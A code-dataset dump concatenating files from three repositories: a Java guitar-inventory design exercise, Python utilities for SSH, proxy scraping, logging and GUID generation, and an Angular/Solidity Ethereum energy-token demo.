branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<repo_name>dczz/hfooad<file_sep>/step2/src/Builder.java public enum Builder { 无名之辈, 能工巧匠, 鬼斧神工, 大国工匠; } <file_sep>/step5/src/Inventory.java import java.util.ArrayList; import java.util.List; public class Inventory { private List<Instrument> inventory = new ArrayList<>(); void addInstrument(String serialNumber, double price, InstrumentSpec spec) { Instrument instrument = new Instrument(serialNumber, price, spec); inventory.add(instrument); } List<Instrument> search(InstrumentSpec searchSpec) { List<Instrument> searched = new ArrayList<>(); for (Instrument instrument : inventory) { if (searchSpec.matches(instrument.getInstrumentSpec())) { searched.add(instrument); } } return searched; } } <file_sep>/step3/test/FindGuitarTester.java import java.util.List; public class FindGuitarTester { public static void main(String[] args) { Inventory inventory = new Inventory(); initializeInventory(inventory); GuitarSpec searchSpec = new GuitarSpec(Builder.无名之辈, "A", Type.A, Wood.朽木, Wood.朽木); List<Guitar> guitars = inventory.search(searchSpec); if (!guitars.isEmpty()) { for (Guitar guitar : guitars) { GuitarSpec guitarSpec = guitar.getGuitarSpec(); System.err.println(String.format("you might like this%s %s %s %s price:%s", guitar.getSerialNumber(), guitarSpec.getBuilder(), guitarSpec.getModel(), guitarSpec.getType(), guitar.getPrice())); } } else { System.err.println("sorry,we have nothing for you."); } } private static void initializeInventory(Inventory inventory) { inventory.addGuitar("灰色品质吉他", 10D, Builder.无名之辈, "A", Type.A, Wood.朽木, Wood.朽木); inventory.addGuitar("绿色品质吉他", 20D, Builder.能工巧匠, "B", Type.B, Wood.柳树, Wood.柳树); inventory.addGuitar("蓝色品质吉他", 30D, Builder.鬼斧神工, "C", Type.C, Wood.松树, Wood.松树); inventory.addGuitar("紫色品质吉他", 40D, Builder.无名之辈, "D", Type.D, Wood.梧桐, Wood.梧桐); } } <file_sep>/step3/src/Inventory.java import java.util.ArrayList; import java.util.List; public class Inventory { private List<Guitar> guitars = new ArrayList<>(); public void addGuitar(String serialNumber, double price, Builder builder, String model, Type type, Wood back, Wood top) { Guitar guitar = new Guitar(serialNumber, price, builder, model, type, back, top); guitars.add(guitar); } public List<Guitar> search(GuitarSpec searchSpec) { List<Guitar> searched = new ArrayList<>(); for (Guitar guitar : guitars) { GuitarSpec guitarSpec = guitar.getGuitarSpec(); String model = searchSpec.getModel(); if ((model != null) && (!model.equals("")) && (!model.equals(guitarSpec.getModel()))) { continue; } if (searchSpec.getType() != guitarSpec.getType()) { continue; } if (searchSpec.getBackWood() != guitarSpec.getBackWood()) { continue; } if (searchSpec.getTopWood() != guitarSpec.getTopWood()) { continue; } searched.add(guitar); return searched; } return null; } } <file_sep>/ReadMe.MD Head First Object Oriented Analysis & Design<file_sep>/step3/src/Guitar.java public class Guitar { private String serialNumber; private double price; /** * q:我理解为什么需要一个对象来让客户传输规格给search,但是为什么我焖也用此对象存储吉他的特性? * a:假设你只用GuitarSpec来存储客户要送给search方法的规格, * 并且保持Guitar类与原先一样, * 若要开始销售12弦吉他并且要一个numString特性, * 你会需要把此特性添加到Guitar与GuitarSpec类中, * q: 这为何是一种封装的形式? * a: 封装背后的思想是保护应用程序某一部分的信息免遭其他部分的干扰,在最简单的形势下,你能通过让数据私有化(private)来保护类中的数据,使之免遭应用程序其他部分的干扰 * 然而,有时该信息可能是一整组特性(如琴弦)或行为。 * 当你把行为从类中分解出来,你能改变该行为而无需改变该类。所以加入改变特性被存储的方式,你根本不必改变Guitar类,因为那些属性在Guitar之外被封装。 * 通过分解出应用程序的不同部分,你能改变一部分而不需要改变整个应用程序。一般而言,你应该封装应用程序中变化可能很大的部分,让他们原理保持不变的部分 */ private GuitarSpec guitarSpec; public Guitar(String serialNumber, double price, Builder builder, String model, Type type, Wood back, Wood top) { this.serialNumber = serialNumber; this.price = price; this.guitarSpec = new GuitarSpec(builder,model,type,back,top); } public String getSerialNumber() { return serialNumber; } public double getPrice() { return price; } public GuitarSpec getGuitarSpec() { return guitarSpec; } } <file_sep>/step5/src/InstrumentSpec.java public class InstrumentSpec { private String model; private Builder builder; private Type type; private Wood backWood; private Wood topWood; boolean matches(InstrumentSpec otherInstrumentSpec) { if (builder != otherInstrumentSpec.getBuilder()) { return false; } if (type != otherInstrumentSpec.getType()) { return false; } if (backWood != otherInstrumentSpec.getBackWood()) { return false; } if (topWood != otherInstrumentSpec.getTopWood()) { return false; } return (model == null) || (model.equals("")) || (model.equals(otherInstrumentSpec.getModel())); } public InstrumentSpec(String model, Builder builder, Type type, Wood backWood, Wood topWood) { this.model = model; this.builder = builder; this.type = type; this.backWood = backWood; this.topWood = topWood; } String getModel() { return model; } Builder getBuilder() { return builder; } Type getType() { return type; } Wood getBackWood() { return backWood; } Wood getTopWood() { return topWood; } } <file_sep>/step6/src/Inventory.java import java.util.ArrayList; import java.util.List; public class Inventory { private List<Instrument> inventory = new ArrayList<>(); void addInstrument(String serialNumber, double price, InstrumentSpec spec) { Instrument instrument = new Instrument(serialNumber, price, spec); inventory.add(instrument); } List<Instrument> search(InstrumentSpec searchSpec) { List<Instrument> result = new ArrayList<>(); for (Instrument instrument : inventory) { //这个库存搜索很有意思 if (instrument.getInstrumentSpec().matches(searchSpec)) { result.add(instrument); } } return result; } }
e2f74784911096d0bb6a1f71b3680353d3a54148
[ "Markdown", "Java" ]
8
Java
dczz/hfooad
5bf98da21f24a0898e4f9720cb83b0cf4e94d174
834125b5bb1133f43fc78842f450ff7058cf417e
refs/heads/master
<file_sep>/* Copyright IBM Corp. 2016 All Rights Reserved. SPDX-License-Identifier: Apache-2.0 */ package fileledger import ( "errors" "io/ioutil" "os" "testing" "github.com/hyperledger/fabric/common/ledger/blockledger" "github.com/hyperledger/fabric/common/ledger/blockledger/fileledger/mock" "github.com/hyperledger/fabric/common/metrics/disabled" "github.com/stretchr/testify/require" ) func TestBlockStoreProviderErrors(t *testing.T) { mockBlockStore := &mock.BlockStoreProvider{} f := &fileLedgerFactory{ blkstorageProvider: mockBlockStore, ledgers: map[string]blockledger.ReadWriter{}, } t.Run("list", func(t *testing.T) { mockBlockStore.ListReturns(nil, errors.New("boogie")) require.PanicsWithValue( t, "boogie", func() { f.ChannelIDs() }, "Expected ChannelIDs to panic if storage provider cannot list channel IDs", ) }) t.Run("open", func(t *testing.T) { mockBlockStore.OpenReturns(nil, errors.New("woogie")) _, err := f.GetOrCreate("foo") require.EqualError(t, err, "woogie") require.Empty(t, f.ledgers, "Expected no new ledger is created") }) t.Run("remove", func(t *testing.T) { mockBlockStore.DropReturns(errors.New("oogie")) err := f.Remove("foo") require.EqualError(t, err, "oogie") }) } func TestMultiReinitialization(t *testing.T) { metricsProvider := &disabled.Provider{} dir, err := ioutil.TempDir("", "fileledger") require.NoError(t, err, "Error creating temp dir: %s", err) defer os.RemoveAll(dir) f, err := New(dir, metricsProvider) require.NoError(t, err) _, err = f.GetOrCreate("testchannelid") require.NoError(t, err, "Error GetOrCreate channel") require.Equal(t, 1, len(f.ChannelIDs()), "Expected 1 channel") f.Close() f, err = New(dir, metricsProvider) require.NoError(t, err) _, err = f.GetOrCreate("foo") require.NoError(t, err, "Error creating channel") require.Equal(t, 2, len(f.ChannelIDs()), "Expected channel to be recovered") f.Close() f, err = New(dir, metricsProvider) require.NoError(t, err) _, err = f.GetOrCreate("bar") require.NoError(t, err, "Error creating channel") require.Equal(t, 3, len(f.ChannelIDs()), "Expected channel to be recovered") f.Close() f, err = New(dir, metricsProvider) require.NoError(t, err) err = f.Remove("bar") require.NoError(t, err, "Error removing channel") require.Equal(t, 2, len(f.ChannelIDs())) err = f.Remove("this-isnt-an-existing-channel") require.NoError(t, err, "Error removing channel") require.Equal(t, 2, len(f.ChannelIDs())) f.Close() }
d39c4307442314081240baede92f74d7b6d6a3c1
[ "Go" ]
1
Go
btl5037/fabric
d691af68d3bff465d9e27cafc5c1972c6e7d07ba
2487e6233d4a9fb22fb655a37958a5e53ad87f52
refs/heads/master
<file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @author = lucas.wang @create_time = 2018-02-07 """ # IP地址取自国内髙匿代理IP网站:http://www.xicidaili.com/nn/ # 仅仅爬取首页IP地址就足够一般使用 from bs4 import BeautifulSoup import requests import random class Get_proxies(object): def get_ip_list(self, url, headers): web_data = requests.get(url, headers=headers) # print(web_data) soup = BeautifulSoup(web_data.text, 'lxml') # print(soup) ips = soup.find_all('tr') # print(ips) ip_list = [] for i in range(1, len(ips)): ip_info = ips[i] # print(ip_info) tds = ip_info.find_all('td') # print(tds) ip_list.append(tds[1].text + ':' + tds[2].text) return ip_list def get_random_ip(self, ip_list): proxy_list = [] for ip in ip_list: proxy_list.append('http://' + ip) # print(proxy_list) proxy_ip = random.choice(proxy_list) proxies = {'http': proxy_ip, } return proxies if __name__ == '__main__': url = 'http://www.xicidaili.com/nn/' # headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36' # } headers = { 'Connection': 'Keep-Alive', 'Accept': 'text/html, application/xhtml+xml, */*', 'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3', 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 6.0; zh-CN; MZ-m2 note Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 MZBrowser/6.5.506 UWS/172.16.17.32 Mobile Safari/537.36' } getProxies = Get_proxies() ip_list = getProxies.get_ip_list(url, headers=headers) proxies = getProxies.get_random_ip(ip_list) print(proxies)<file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @author = lucas.wang @create_time = 2018-02-05 """ import paramiko class SSHConnection(object): def __init__(self, host='172.16.1.215', port=22, username='tomcat', pwd='<PASSWORD>'): self.host = host self.port = port self.username = username self.pwd = pwd self.__k = None def run(self): self.connect() pass self.close() def connect(self): transport = paramiko.Transport(self.host, self.port) transport.connect(username=self.username, password=self.pwd) self.__transport = transport def close(self): self.__transport.close() def cmd(self, command): ssh = paramiko.SSHClient() ssh._transport = self.__transport # 执行命令 stdin, stdout, stderr = ssh.exec_command(command) # 获取命令结果 result = stdout.read() return result def upload(self, local_path, target_path): # 连接,上传 sftp = paramiko.SFTPClient.from_transport(self.__transport) # 将location.py 上传至服务器 /tmp/test.py sftp.put(local_path, target_path) def download(self, local_path, target_path): # 连接,上传 sftp = paramiko.SFTPClient.from_transport(self.__transport) # 启动scp远程拷贝命令,实现将打包好的nginx日志复制到本地/home目录 child = sftp.spawn('/usr/bin/scp', [user + "@" + ip + ':/data/nginx_access.tar.gz', '/home']) if __name__ == '__main__': ssh = SSHConnection() ssh.connect() r1 = ssh.cmd('df') print(r1.decode()) ssh.upload('class12.py', "test.py") ssh.close()<file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @author = lucas.wang @create_time = 2018-02-06 """ import os import glob from xml.etree import ElementTree as ET class File_operation(object): """ File operation """ names = ['iConn.CreateXmlTools.vshost.exe', 'AutoUpdater.dll', 'Newtonsoft.Json.dll', 'Oracle.ManagedDataAccess.dll', 'Renci.SshNet.dll', 'Renci.SshNet.xml', 'zxing.dll', 'Images/ARX_HK.png', 'Images/ARX_USA_201803.png'] def __init__(self, path_name=r"http://172.16.1.81:8081/UpdateClient/", name_list=None): self.old_path_name = path_name if name_list is not None: self.excluding_list = name_list def update_path_name(self, path_name, name_list=None): self.old_path_name = path_name if name_list is not None: self.names += name_list def remove_file(self, file_name_list): """ Remove file :param file_name_list: :return: """ print("glob remove file state".center(50, "=")) print("Current Working Directory is " + os.getcwd()) files = [] for file_name in file_name_list: files += glob.glob(file_name) for file in files: try: os.remove(file) except IOError: print(file + " don't delete") else: print(file) print("glob remove file end".center(50, "=")) def change_file(self, path_name, file_name='AutoupdateService', file_type='xml'): """ Change file :param file_type: :param file_name: :param path_name: :return: """ if file_type.strip().lower() == "xml": # print(path_name) self.change_xml_file(file_name, path_name) def change_xml_file(self, file_name, path_name): """ Change xml file :param file_name: :param path_name: :return: """ tree = ET.parse(os.getcwd() + os.sep + file_name + ".xml") root = tree.getroot() # for item in root.getchildren(): # item.set("url", item.get('url').replace(self.old_path_name, path_name)) # # if item.get('path') in self.names: # root.remove(item) # print(self.old_path_name) # print(path_name) for item in root.findall('file'): item.set("url", item.get('url').replace(self.old_path_name, path_name)) # print(item.get("url")) if item.get('path') in self.names: root.remove(item) tree.write(os.getcwd() + os.sep + file_name + ".xml", encoding="utf-8") if __name__ == '__main__': pass<file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @author = lucas.wang @create_time = 2018-02-26 """ class Lucas_Setting(object): def __init__(self): pass def Show_Version(self): print("Verion number: 1.0, by Lucas wang") def Show_Usage(self): self.Show_Version() print( ''' generate a new setting and printit in stdout. Usage: setting [option] options: -v get the version infomation -h show the help infomation like this -u,-U show guid in uppercase, default is uppercase -l,-L show guid in lowercase ''') if __name__ == '__main__': setting = Lucas_Setting() setting.Show_Usage()<file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @author = lucas.wang @create_time = 2018-03-22 1. python setup.py sdist # generate setup box 2. python setup.py install # install to local """ from distutils.core import setup setup( name='', version='', py_modules='', author='<NAME>', author_email='<EMAIL>', url='', description='', )<file_sep># -*- coding: utf-8 -*- """ ----------------------------------------------------- File Name: download_file Author: Lucas.wang Date: 2018-11-23 13:06 Description: ----------------------------------------------------- Change Activity: 2018-11-23 13:06 Description: ---------------------------------------------------- """ from urllib.request import urlopen import sys # @app.route('/file/download/<filename>', methods=['GET']) # def file_download(filename): # def send_chunk(): # 流式读取 # store_path = './upload/%s' % filename # with open(store_path, 'rb') as target_file: # while True: # chunk = target_file.read(20 * 1024 * 1024) # 每次读取20M # if not chunk: # break # yield chunk # # return Response(send_chunk(), content_type='application/octet-stream') def download_big_file(url, target_file_name): """ 使用python核心库下载大文件 ref: https://stackoverflow.com/questions/1517616/stream-large-binary-files-with-urllib2-to-file """ # import sys # if sys.version_info > (2, 7): # Python 3 # from urllib.request import urlopen # else: # Python 2 # from urllib2 import urlopen response = urlopen(url) chunk = 20 * 1024 * 1024 with open(target_file_name, 'wb') as f: while True: chunk = response.read(chunk) if not chunk: break f.write(chunk)<file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @project = GeneralTools @file = LogUtils @author = lucas.wang @create_time = 2018-02-01 13:00 """ import logging import time import logging.handlers import os rq = time.strftime('%Y%m%d', time.localtime(time.time())) class LogUtils(object): """ 日志类 """ def __init__(self, name): self.path = "/User/aaa/log/" # 定义日志存放路径 self.filename = self.path + rq + '.log' # 日志文件名称 self.name = name # 为%(name)s赋值 self.logger = logging.getLogger(self.name) # 控制日志文件中记录级别 self.logger.setLevel(logging.INFO) # 控制输出到控制台日志格式、级别 self.ch = logging.StreamHandler() gs = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s[line:%(lineno)d] - %(message)s') self.ch.setFormatter(gs) # self.ch.setLevel(logging.NOTSET) 写这个的目的是为了能控制控制台的日志输出级别,但是实际中不生效,不知道为啥,留着待解决 # 日志保留10天,一天保存一个文件 self.fh = logging.handlers.TimedRotatingFileHandler(self.filename, 'D', 1, 10) # 定义日志文件中格式 self.formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s[line:%(lineno)d] - %(message)s') self.fh.setFormatter(self.formatter) self.logger.addHandler(self.fh) self.logger.addHandler(self.ch) class customError(Exception): """ 自定义异常类,用在主动输出异常时使用,用 raise关键字配合使用,例: if True: pass else: raise customError(msg) """ def __init__(self, msg=None): self.msg = msg def __str__(self): if self.msg: return self.msg else: return u"某个不符合条件的语法出问题了" class Log2: # 日志文件名称 __file = 'log.log' __handler = False # 输出格式 __fmt = '%(asctime)s - %(filename)s:[line:%(lineno)s] - %(name)s - %(message)s' def __init__(self): logging.basicConfig(filename=self.__file, filemode='a+', format=self.__fmt) # self.__handler = logging.handlers.RotatingFileHandler(self.__file, maxBytes=1024*1024, backupCount=5) # 打印 self.__handler = logging.StreamHandler() self.__handler.setLevel(logging.INFO) # 设置格式 formatter = logging.Formatter(self.__fmt) self.__handler.setFormatter(formatter) return # 获取实例 def getInstance(self, strname): logger = logging.getLogger(strname) logger.addHandler(self.__handler) logger.setLevel(logging.DEBUG) return logger class Log: def __init__(self): self.path = "./Log/" # 定义日志存放路径 self.filename = self.path + rq + '.log' # 日志文件名称 if not os.path.exists("./Log/"): os.mkdir("./Log/") if not os.path.exists(self.filename): with open(self.filename, "w") as fw: pass def WriteLog(self, e): with open(self.filename, "a") as fw: msg_error = "ERROR:{0}time: {1}{0}lineno: {2}{0}errorinfo: {3}{4}".format( "\n", time.ctime(), e.__traceback__.tb_lineno, e.args[0], "\n\n\n" ) fw.write(msg_error) if __name__ == '__main__': """ from Function.Log_main_class import * try: log = Log("casename") log.info("msg") if True: pass else: raise customError(msg) except BaseException as msg: log.exception(msg) """ testlog = Log2().getInstance("test") testlog.info("info log") testlog.debug("debug log") testlog.warning("waring log") <file_sep># ! /usr/bin/env python # _*_ coding:utf-8 _*_ """ @author = lucas.wang @create_time = 2018-02-26 """ import uuid import getopt import sys class Create_Guid(): New_Uuid = '' def Show_Version(self): print("Guid generator v1.0, by <NAME>") def Show_Usage(self): self.Show_Version() print( ''' generate a new guid and printit in stdout. Usage: createGuid [option] options: -v get the version infomation -h show the help infomation like this -u,-U show guid in uppercase, default is uppercase -l,-L show guid in lowercase -1 ake a UUID based on the host ID and current time -3 make a UUID using an MD5 hash of a namespace UUID and a name -4 make a random UUID -5 make a UUID using a SHA-1 hash of a namespace UUID and a name ''') def uuid1(self): self.New_Uuid = uuid.uuid1() def uuid3(self, str_name): self.New_Uuid = uuid.uuid3(uuid.NAMESPACE_DNS, str_name) def uuid4(self): self.New_Uuid = uuid.uuid4() def uuid5(self, str_name): self.New_Uuid = uuid.uuid5(uuid.NAMESPACE_DNS, str_name) def Getopt_Opts(self, opts): for o, a in opts: # print(o, '==', a) if o in ("-h", "--help"): self.Show_Usage() elif o in ("-v", "--version"): self.Show_Version() elif o == "-1": self.uuid1() elif o == "-3" : if a is None: a = 'ariix.com' self.uuid3(a) elif o == "-4" : self.uuid4() elif o == "-5" : if a is None: a = 'ariix.com' self.uuid5(a) for o, a in opts: if o in ("-u", "-U"): print(self.New_Uuid.upper()) elif o in ("-l", "-L"): print(self.New_Uuid) def Argv_Args(self, args): if args is None: print(args) def Main(self): # isUpper = True # act = 'uuid' try: opts, args = getopt.getopt(sys.argv[1:], "hvul1435", ["help", "output="]) # print(opts) self.Getopt_Opts(opts) # print(args) self.Argv_Args(args) except getopt.GetoptError as ex: # print help information and exit: print(ex) print(''.center(50, "*")) # self.Show_Usage() sys.exit() # if '-u' in sys.argv: isUpper = True # if '-U' in sys.argv: isUpper = True # if '-l' in sys.argv: isUpper = False # if '-L' in sys.argv: isUpper = False # if '-v' in sys.argv: act = 'ver' # if '-h' in sys.argv: act = 'help' # # if act == 'uuid': # result = str(uuid.uuid1()) # if isUpper: # print(result.upper()) # else: # print(result) # elif act == 'ver': # self.Show_Version() # elif act == 'help': # self.Show_Usage() if __name__ == '__main__': test = Create_Guid() test.Main()
1c4100c3d1814c2ee8761968c2e9b65666de9445
[ "Python" ]
8
Python
Lucas-Wong/GeneralTools
9ef5e646da94f63bf232ff45d2493b1bfbef914f
defb8cd83f80eca7c03a6d2e25fc22292c8c8d80
refs/heads/master
<file_sep>import { BlockchainService } from '../blockchain.service'; import { Component, OnInit, Inject } from '@angular/core'; @Component({ selector: 'agl-notifications', templateUrl: './notifications.component.html', styleUrls: ['./notifications.component.scss'] }) export class NotificationsComponent implements OnInit { constructor(private blockchainService: BlockchainService) { } ngOnInit() { } } <file_sep>import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; // Baked in reqs for material import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { FlexLayoutModule } from '@angular/flex-layout'; import { MaterialModule } from './material/material.module'; import { MomentModule } from 'angular2-moment'; import { AppRoutingModule } from './app-routing.module'; import { AppComponent } from './app.component'; // Services import { BlockchainService } from './blockchain.service'; import { CurrentBalanceComponent } from './current-balance/current-balance.component'; import { RecentTransactionsComponent, AglNotificationDialog } from './recent-transactions/recent-transactions.component'; import { NotificationsComponent } from './notifications/notifications.component'; @NgModule({ declarations: [ AppComponent, CurrentBalanceComponent, RecentTransactionsComponent, NotificationsComponent, AglNotificationDialog ], imports: [ BrowserModule, AppRoutingModule, BrowserAnimationsModule, MaterialModule, FlexLayoutModule, MomentModule ], providers: [ BlockchainService ], entryComponents: [ AglNotificationDialog ], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>const contract = require('truffle-contract') const Web3 = require('web3') const web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545')) const ethUtil = require('ethereumjs-util'); const ethABI = require('ethereumjs-abi'); const DRProgramArtifacts = require('../build/contracts/DRProgram.json') const drProgram = contract(DRProgramArtifacts); drProgram.setProvider(web3.currentProvider); const owner = web3.eth.accounts[0] let token; addContracts() async function addContracts() { let nonce = 0; let duration; let maxPayout; let energyReduction; token = await drProgram.deployed(); energyReduction = Math.floor((Math.random() * 20) + 1) duration = Math.floor((Math.random() * 10000000000000) + 10000000) maxPayout = Math.floor((Math.random() * 1000) + 10) console.log('\n\nEnergy Reduction: ' + energyReduction) console.log('Duration: ' + duration) console.log('Max Payout: ' + maxPayout) await addContractAndClaimReward(nonce++, duration, maxPayout, energyReduction) setInterval(async () => { energyReduction = Math.floor((Math.random() * 20) + 1) duration = Math.floor((Math.random() * 10000000000000) + 10000000) maxPayout = Math.floor((Math.random() * 1000) + 10) console.log('\n\nEnergy Reduction: ' + energyReduction) console.log('Duration: ' + duration) console.log('Max Payout: ' + maxPayout) await addContractAndClaimReward(nonce++, duration, maxPayout, energyReduction) }, Math.floor((Math.random() * 90000) + 60000)); } async function addContractAndClaimReward(nonce, duration, maxPayout, energyReduction) { const contractParts = [ { value: duration, type: 'uint256' }, { value: maxPayout, type: 'uint256' }, { value: nonce, type: 'uint256' }, ]; const types = contractParts.map(o => o.type); const values = contractParts.map(o => o.value); const hashBuff = ethABI.soliditySHA3(types, values); const programId = ethUtil.bufferToHex(hashBuff); // New Event, add contract addContractTx = await token.addContract(duration, maxPayout, nonce, {from: owner, gas: 4e6}); console.log(`New Contract Added! ID: ${programId}`); console.log(addContractTx.logs[0]) // 30s await sleep(10000) claimRewardsTx = await token.claimRewards(programId, energyReduction, { from: owner }); console.log('Rewards claimed!'); console.log(claimRewardsTx.logs[0]) } function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } <file_sep>const Kwh = artifacts.require("./Kwh.sol") const DRProgram = artifacts.require("./DRProgram.sol") const ethUtil = require('ethereumjs-util'); const ethABI = require('ethereumjs-abi'); let callResponse let txResponse let token contract('DRProgram Token Rewards', accounts => { const owner = accounts[0] const user1 = accounts[1] let nonce = 0 it("create a new energy contract.", async () => { kwh = await Kwh.new({ from: owner }) drProgram = await DRProgram.new(kwh.address, { from: owner }) await kwh.addDRProgram(drProgram.address, { from: owner }) // Confirm deployed contracts functioning correctly // drProgram = await DRProgram.deployed() // kwh = await Kwh.deployed() // Add a new contract let duration = 10000000 let maxPayout = 1000 const contractParts = [ { value: duration, type: 'uint256' }, { value: maxPayout, type: 'uint256' }, { value: nonce, type: 'uint256' }, ] const types = contractParts.map(o => o.type); const values = contractParts.map(o => o.value); const hashBuff = ethABI.soliditySHA3(types, values); const programId = ethUtil.bufferToHex(hashBuff); await drProgram.addContract(duration, maxPayout, nonce++) const program = await drProgram.activeContracts_(programId) // Make a claim let energyReduction = 10 await drProgram.claimRewards(programId, energyReduction, { from: user1 }) const userBalance = await kwh.balanceOf(user1) assert.equal(userBalance.toNumber(), 10, 'User balance not updated') }) }) <file_sep>import { Component } from '@angular/core'; import { BlockchainService } from './blockchain.service'; @Component({ selector: 'agl-root', templateUrl: './app.component.html', styleUrls: ['./app.component.scss'] }) export class AppComponent { constructor(private blockchainService: BlockchainService) { // console.log(this.blockchainService.DRProgramJson); } } <file_sep>import { BlockchainService } from '../blockchain.service'; import { Component, OnInit, Inject } from '@angular/core'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA, MatSnackBar, MatSnackBarConfig } from '@angular/material'; import * as moment from 'moment'; @Component({ selector: 'agl-recent-transactions', templateUrl: './recent-transactions.component.html', styleUrls: ['./recent-transactions.component.scss'] }) export class RecentTransactionsComponent implements OnInit { public transactions = []; public transactionInformation = []; constructor( private blockchainService: BlockchainService, private dialog: MatDialog, private snackBar: MatSnackBar) { } ngOnInit() { this.blockchainService.updateRecentTransactions.subscribe((res) => { this.pushTransactions({ event: 'Contract Added', time: moment().format("h:mm:ss a") }); this.openNotification(); }); this.blockchainService.updateTokensUpdated.subscribe(() => { this.pushTransactions({ event: `You've earned ${this.blockchainService.tokensMined} ${this.blockchainService.symbol}!` }); this.snackBar.open(`You've earned ${this.blockchainService.tokensMined} ${this.blockchainService.symbol}!`, 'Dismiss', {extraClasses: ['highLightMeMore']}); }); } public openNotification() { this.dialog.open(AglNotificationDialog, { data: { information: this.transactionInformation } }); } private pushTransactions(event) { if (this.transactions.length >= 12) { // Keep trimmed to 4 items this.transactions = this.transactions.slice(Math.max(this.transactions.length - 12, 1)); } else { // Add till we have 4 items in the array this.transactions.push(event); } } } @Component({ selector: 'agl-notification-dialog', template: ` <div md-dialog-content> <h1>Event in progress</h1> <p>Earn KWH right now by reducing your energy.<p> <span>Reducing energy tips</span> <ul> <li>Turn off or turn down your split system</li> <li>TODO: More things...</li> </ul> </div> <div md-dialog-actions> <button mat-raised-button (click)="onNoClick()" color="primary">Close</button> </div> `, }) export class AglNotificationDialog { constructor( public dialogRef: MatDialogRef<AglNotificationDialog>, @Inject(MAT_DIALOG_DATA) public data: any) { } onNoClick(): void { this.dialogRef.close(); } } <file_sep>import { Injectable } from '@angular/core'; import { Subject } from 'rxjs/Subject'; import Web3 from 'web3'; import * as kwhJson from '../../../build/contracts/Kwh.json'; import * as DRProgramJson from '../../../build/contracts/DRProgram.json'; @Injectable() export class BlockchainService { public kwhAddress = '0xdfefb183451308284d8842768b60bf491c1a46b3'; public DRProgramAddress = '0xd3849f4b57a0d5ce0fc6a4edac0633042cb1d367'; public currentBalance = 0; public symbol: string; public tokensMined; public defaultAccount; public web3; public DRPcontract; public kwhContract; public updateCurrentBalance = new Subject<number>(); public currentBalanceUpdated = this.updateCurrentBalance.asObservable(); public updateTokensAquired = new Subject<number>(); public updateTokensUpdated = this.updateTokensAquired.asObservable(); public updateRecentTransactions = new Subject<number>(); public transactionsUpdated = this.updateRecentTransactions.asObservable(); constructor() { this.initEtherConnection(); } public initEtherConnection() { this.web3 = new Web3( new Web3.providers.HttpProvider('http://localhost:8545') ) this.defaultAccount = this.web3.eth.accounts[0]; this.web3Connection(); } public web3Connection() { const drpAbi = (<any>DRProgramJson).abi; const kwhAbi = (<any>kwhJson).abi; const owner = this.web3.eth.accounts[0]; this.DRPcontract = this.web3.eth.contract(drpAbi).at(this.DRProgramAddress); this.kwhContract = this.web3.eth.contract(kwhAbi).at(this.kwhAddress); // The balance this.currentBalance = this.kwhContract.balanceOf(owner).toNumber(); // The Symbol this.symbol = this.kwhContract.symbol(); // The event when we add it this.DRPcontract.LogContractAdded({from: 'latestBlock', to: 'latestBlock'}).watch((err, res) => { if (res) { this.updateRecentTransactions.next(res); } if (err) { throw new Error(); } }); // When they earn kWh this.kwhContract.LogTokensMinted({from: 'latestBlock', to: 'latestBlock'}).watch((err, res) => { if (res.args.to === owner) { this.currentBalance = this.kwhContract.balanceOf(owner).toNumber(); this.tokensMined = res.args.value.toNumber(); this.updateCurrentBalance.next(this.currentBalance); this.updateTokensAquired.next(this.tokensMined); } if (err) { throw new Error(); } }); } } <file_sep>import { BlockchainService } from '../blockchain.service'; import { Component, OnInit } from '@angular/core'; @Component({ selector: 'agl-current-balance', templateUrl: './current-balance.component.html', styleUrls: ['./current-balance.component.scss'] }) export class CurrentBalanceComponent implements OnInit { public balance: number; public symbol: string; public defaultAccount: string; constructor(private blockchainService: BlockchainService) { this.balance = this.blockchainService.currentBalance; this.symbol = this.blockchainService.symbol; this.defaultAccount = this.blockchainService.defaultAccount; } ngOnInit() { this.blockchainService.currentBalanceUpdated.subscribe(() => { this.balance = this.blockchainService.currentBalance; }); } public updateBalance(amount: number) { this.blockchainService.currentBalance = amount; this.balance = amount; } } <file_sep># To Run * Install dependencies * Start testrpc * In the root folder run `truffle deploy` * In the frontend folder install depedencies and get famillar with Angular CLI * in the frontend folder run `ng serve` * open `blockchain.service.ts` * replace `kwhAddress` and `DRProgramAddress` from the `truffle deploy` output - This output looks like: ` Running migration: 1_initial_migrations.js Deploying Migrations... ... 0x25dd589cccec05c8e6e5b220574215564e378ca482f5e640c0e747c9cb2a28d0 Migrations: 0x36743614660e249cfa568e97fea9b86cc04976ac Saving successful migration to network... ... 0x03d75a204a10bb232ad664a5477853102ec994ad198191eae646830c68be183a Saving artifacts... Running migration: 2_deploy_contracts.js Deploying Kwh... ... 0x5383ce37ad93c67e9393b3fe4a915637d84ef332f638a505362945e1adeef8c6 Kwh: 0xdfefb183451308284d8842768b60bf491c1a46b3 Deploying DRProgram... ... 0x479caecc637a430f558882d5b0f9f543c20dfc8ef3deca9eb3024c0a1ff03e58 DRProgram: 0xd3849f4b57a0d5ce0fc6a4edac0633042cb1d367 ... 